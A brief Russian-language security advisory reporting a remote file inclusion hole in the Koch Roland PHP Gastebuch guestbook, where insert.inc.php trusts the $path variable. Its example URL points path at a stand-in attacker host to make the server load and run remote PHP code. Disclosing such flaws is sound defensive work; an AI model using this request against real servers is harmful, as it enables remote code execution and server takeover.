Программа: Koch Roland PHP Gastebuch
Уязвимость обнаружена в Koch Roland PHP Gastebuch. Удаленный пользователь может выполнить произвольный PHP код, включая команды операционной системы, на целевом сервере.
Файл 'insert.inc.php'не проверяет данные, представленные пользователем в переменной $path. Удаленный пользователь может представить специально обработанное значение для переменной $path, чтобы выполнить произвольный PHP код на удаленном сервере.
Пример:
http://[target]/rolis_book_path/ insert.inc.php?path=http://hacker.com/
